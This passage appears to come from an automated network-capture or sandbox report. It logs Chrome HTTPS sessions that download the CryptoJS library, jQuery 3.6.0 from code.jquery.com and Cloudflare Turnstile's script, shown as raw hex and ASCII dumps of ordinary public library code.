define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 Data Ascii: f globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cre
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 Data Ascii: call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 Data Ascii: peof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e Data Ascii: var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 Data Ascii: for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 Data Ascii: r,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:f
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 Data Ascii: harAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOP
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 Data Ascii: a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=thi
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 Data Ascii: ),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49743	151.101.194.137	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:02 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:02 UTC	614	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 14 Feb 2025 16:23:02 GMT Age: 3303268 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740053-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 21 X-Timer: S1739550183.848364,VS0,VE0 Vary: Accept-Encoding
2025-02-14 16:23:02 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-02-14 16:23:02 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-02-14 16:23:03 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-02-14 16:23:03 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-02-14 16:23:03 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-02-14 16:23:03 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49749	104.18.95.41	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:03 UTC	383	OUT	GET /turnstile/v0/b/324d0dcf743c/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:03 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:23:03 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48139 Connection: close accept-ranges: bytes last-modified: Tue, 11 Feb 2025 23:52:12 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 911e6687b8625e6a-EWR alt-svc: h3=":443"; ma=86400
2025-02-14 16:23:03 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-02-14 16:23:03 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return 